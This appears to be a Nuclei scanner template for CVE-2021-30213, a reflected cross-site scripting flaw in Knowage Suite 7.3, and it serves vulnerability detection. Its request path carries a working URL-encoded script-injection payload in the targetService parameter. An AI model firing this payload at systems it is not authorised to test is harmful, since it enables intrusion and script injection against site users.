id: CVE-2021-30213 info: name: Knowage Suite 7.3 XSS author: alph4byt3 severity: medium description: Knowage Suite 7.3 is vulnerable to unauthenticated reflected cross-site scripting (XSS). An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-30213 - https://github.com/piuppi/Proof-of-Concepts/blob/main/Engineering/XSS-KnowageSuite7-3_unauth.md classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-30213 cwe-id: CWE-79 tags: cve,cve2021,xss,knowage requests: - method: GET path: - "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" matchers-condition: and matchers: - type: word part: body words: - '' - type: status status: - 200 - type: word part: header words: - text/html